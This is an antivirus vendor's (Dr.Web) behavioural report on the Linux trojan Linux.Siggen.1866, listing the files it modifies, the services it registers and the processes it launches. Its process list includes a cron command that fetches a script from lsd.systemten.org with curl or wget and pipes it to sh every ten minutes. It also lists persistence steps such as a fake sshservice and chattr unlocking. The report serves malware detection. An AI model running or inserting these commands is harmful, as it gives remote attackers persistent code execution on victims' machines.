Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Linux.Siggen.1866
Добавлен в вирусную базу Dr.Web:
2019-06-23
Описание добавлено:
2019-06-23
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/init.d/sshservice
Malicious functions:
Launches itself as a daemon
Manages services:
systemctl enable sshservice
/usr/sbin/update-rc.d sshservice defaults
Launches processes:
/bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
crontab -
<SAMPLE_FULL_PATH> [khungtaskd]
<SAMPLE_FULL_PATH> [kthrotld]
/bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
chattr -i /usr/lib/systemd/system/sshservice.service
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
/sbin/insserv sshservice
Performs operations with the file system:
Modifies file access rights:
/etc/hosts
/var/spool/cron/crontabs/tmp.Xtsbon
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/tmp.U6Q8u9
/var/spool/cron/crontabs/tmp.5AY2su
/var/spool/cron/crontabs/tmp.cnBldW
Creates or modifies files:
/etc/hosts
/var/spool/cron/crontabs/tmp.Xtsbon
/var/spool/cron/root
/tmp/.XImunix
/var/spool/cron/crontabs/tmp.U6Q8u9
/var/spool/cron/crontabs/tmp.5AY2su
/var/spool/cron/crontabs/tmp.cnBldW
/usr/local/sbin/sshd
/usr/lib/systemd/system/sshservice.service
Locks files:
Network activity:
Establishes connection:
HTTP GET requests:
DNS ASK:
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK